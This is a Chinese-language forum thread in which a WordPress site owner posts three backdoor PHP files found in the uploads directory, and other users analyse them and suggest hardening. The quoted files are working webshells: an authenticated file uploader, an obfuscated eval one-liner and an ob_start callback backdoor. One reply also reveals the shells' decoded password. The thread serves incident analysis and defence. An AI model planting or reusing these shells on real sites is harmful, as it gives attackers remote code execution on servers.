V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
Hardrain
V2EX  ›  PHP

一个 WordPress 站,疑似被传后门

  •  
  •   Hardrain · Aug 27, 2017 · 6679 views
    This topic created in 3165 days ago, the information mentioned may be changed or developed.

    今检查 wordpress 的上传目录wp-content/uploads

    发现 3 个.php文件

    第一个./2014/12/conf-72e 内容如下

    <?php if(isset($_GET["ms-load"]) && md5($_GET["ms-load"])=="10c0d9d7dbb63d34fdb2cafee8782911"){
    $p=$_SERVER["DOCUMENT_ROOT"];
    $tyuf=dirname(__FILE__);
    echo <<<HTML
    <form enctype="multipart/form-data"  method="POST">
    Path:$p<br>
    <input name="file" type="file"><br>
    To:<br>
    <input size="48" value="$tyuf/" name="pt" type="text"><br>
    <input type="submit" value="Upload">
    HTML;
    if (isset($_POST["pt"])){
    $uploadfile = $_POST["pt"].$_FILES["file"]["name"];
    if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
    if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
    echo"uploaded:$uploadfile";
    echo"Size:".$_FILES["file"]["size"]."n";
    }else {
    print "Error:n";
    }
    }
    }
    

    第二个./2015/03/conf-72 内容如下

    <?php isset($_POST['8rfhxs']) && ($www= $_POST['8rfhxs']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');
    

    第三个./2015/07/cp1251-72 内容如下

    <?php
        if(isset($_GET['8rfhxs']) && isset($_GET['catid'])){
    	$id = $_GET['8rfhxs'];
    	echo $catid = isset($_GET['catid'])?base64_decode($_GET['catid']):'';
    	$s = '';
    	foreach(array($id) as $v){
    	    $s.=$v;
    	}
    	ob_start($s);
    	if($catid){
    	    echo $catid;
    	}
    	ob_end_flush();
    }
    

    这三个好像都和传入参数有关,但里面变量不少,尤其是第一个(看起来像是先检测传入参数的 MD5,如吻合,就 POST 站点根目录下的什么东西,也没体现到什么域名 /IP,看起来很像后门.)

    上传时间都是 16 年 12 月,那时我已在上传目录的.htaccess添加了php_flag engine off,使这个目录下的 PHP 文件不被解析。

    可能因此骇客没得手.

    Supplement 1  ·  Aug 28, 2017
    首先感谢 @fucker 的分析

    但这个后门是怎么被安插的已无法知晓
    是利用 Wordpress(某些旧版本)本身的 tinymce 的漏洞
    还是所用的插件有漏洞就不得而知了

    此外 上传目录一定要禁止 PHP 等的解析,防范恶意脚本被执行
    估计也正是因为如此,我站点没有明显被黑迹象,直到这次才发现被安了后门
    25 replies    2017-08-30 23:54:31 +08:00
    litter123
        1
    litter123  
       Aug 27, 2017
    赶紧查查日志,看看哪些 IP 访问了,来一个逆袭 233
    Hardrain
        2
    Hardrain  
    OP
       Aug 27, 2017
    @litter123 手头(网盘上的除外)保有今年 6 月至今的日志
    检索后没发现对这两个路径的访问

    我估计去年 12 月骇客上传后门后发现没法用(我禁用上传目录的 PHP 解析)
    所以就放弃了。
    Hardrain
        3
    Hardrain  
    OP
       Aug 27, 2017
    此外,wordpress 本身的安全性还算不错

    我想知道这个后门怎么进来的……
    补充:ms-load.php 是 wordpress 的组件
    但经检索,$catid 这个变量出现于 PHPCMS,而非 WP
    litter123
        4
    litter123  
       Aug 27, 2017
    @Hardrain 我记得我有一次搬运博客的时候也发现一些来路不明的 PHP,看起来也像是后门,不过服务器倒是没有被黑进的迹象
    huafang
        5
    huafang  
       Aug 27, 2017
    怎么查看日志里的不正常访问呢
    wql
        6
    wql  
       Aug 27, 2017 via Android
    这就是后门吧……赶紧看看 apache 啥的 php 啥的升级一下
    jeffson
        7
    jeffson  
       Aug 28, 2017
    @Hardrain wordpress 一直有漏洞啊,要及时更近才安全
    yksoft1
        8
    yksoft1  
       Aug 28, 2017
    我突然关注的是 PHP 的 echo 的这个用法以前居然一直不知道。第一个就是个上传器吧
    jhdxr
        9
    jhdxr  
       Aug 28, 2017   ❤️ 1
    yksoft1
        10
    yksoft1  
       Aug 28, 2017
    @jhdxr 反正这个用法以前从来没有用过。
    ic3z
        11
    ic3z  
       Aug 28, 2017   ❤️ 1
    第二个利用 preg_replace 的 /e 模式执行代码
    第三个利用 ob_start 的第一个 callback 参数执行代码
    http://php.net/manual/en/function.ob-start.php
    90safe
        12
    90safe  
       Aug 28, 2017
    第三个是回调函数后门吧
    JackBlack2006
        13
    JackBlack2006  
       Aug 28, 2017
    看到这个贴我去检查了一下我的 WP,过去一周里有个阿三攻击过……

    103.204.244.6 Bangladesh Bangladesh 1
    fucker
        14
    fucker  
       Aug 28, 2017   ❤️ 3
    第一个文件是非常明显的带有身份验证的上传文件的后门脚本,
    早先的黑客手段(也许现在也不过时吧):
    通常是利用 web 程序的上传点 /文件写入 /命令执行 /高权限注入等方式向服务器写入被称为“小马”的可执行脚本
    这类脚本特征是体积小,能避开脚本层面的文件大小限制,以便上传体积更大功能更全的“大马”
    第一个文件中的 MD5:10c0d9d7dbb63d34fdb2cafee8782911 解密结果为:8rfhxs
    与后两个文件对比,可以断定是同一名黑客所为
    至于你所说的 ms-load 是某某组件,catid 又是某某 CMS 的变量
    这样说有点狭隘,因为木马是可以伪装的,而变量名的选用也是自由的。
    catid 就可以理解为 category id 吧,我相信不少开发人员开发数据库都会用 catid 做分类 ID 使用。
    偷偷说一下,我自己就这么用过。
    判断是不是木马,不是看它和别的程序 /组件 /插件 /代码的相似性,而是要从它的功能来判断
    第二个文件是一个比较经典的“一句话木马”
    其中用 rot13 转换了 riny 为 eval,其目的是为了执行任意 php 代码。
    第三个文件,也很明显,是一个绕过 XX 盾之类安全防护软件的变形 php 一句话木马
    其目的也是为了执行任意 php 代码。

    简而言之,都是后门,虽然暂时看起来没什么影响,不过还是赶快补补吧。
    jianghejie
        15
    jianghejie  
       Aug 28, 2017
    这很简单的漏洞啊,其实跟 worldpress 没关系,uplaod 之类的目录下是不能有脚本执行权限的
    dh7758
        16
    dh7758  
       Aug 28, 2017
    一句话?
    Hardrain
        17
    Hardrain  
    OP
       Aug 28, 2017
    @fucker 感谢分析!
    关于命名空间我的确有些狭隘了
    那个 CMS 的文档也说 catid 就是 category id

    另外我怎么觉得第一个是要通过 HTTP POST 窃取服务器上指定文件……
    不过全都删除了,一直没被黑的迹象可能是因为我停用了上传目录的 PHP 解析
    Hardrain
        18
    Hardrain  
    OP
       Aug 28, 2017
    @ic3z 不过按照 PHP Document 的说法 \e 这个修饰符从 5.5.0/7.0.0 版本开始就被弃用了……
    Hardrain
        19
    Hardrain  
    OP
       Aug 28, 2017
    @jeffson 一直使用的是最新版
    哪怕还不支持简体我也会升级
    Hardrain
        20
    Hardrain  
    OP
       Aug 28, 2017
    @huafang 查找日志文件中对这三个文件的访问
    fucker
        21
    fucker  
       Aug 28, 2017
    @Hardrain 明显不是窃取,很明显的 $uploadfile
    你仔细看一下代码执行的过程,是将 POST 中的文件取出,然后用 copy 函数复制(保存)
    最简单的方法,你本地搭个 PHP 环境试一下就知道了 :)
    loser
        22
    loser  
       Aug 29, 2017
    防不胜防,奇技淫巧真是多啊,现在的玩法真是溜的 1b
    ragnaroks
        23
    ragnaroks  
       Aug 30, 2017
    wordpress 安装好给予 / 禁止写权限,装个插件将所有附件存到 bos/oss/s3 等,手动升级 /装插件
    ragnaroks
        24
    ragnaroks  
       Aug 30, 2017
    如果是阿帕奇的话就不行了,不能禁止根目录写,不然 500,原因未知
    Hardrain
        25
    Hardrain  
    OP
       Aug 30, 2017
    @ragnaroks 我试过了 是可以的

    find /var/www/domain.tld/ -type f -exec chmod 444 {} +
    find /var/www/domain.tld/ -type d -exec chmod 555 {} +

    没有出 500
    但是这的确很不方便。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   5849 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 94ms · UTC 06:38 · PVG 14:38 · LAX 23:38 · JFK 02:38
    ♥ Do have faith in what you're doing.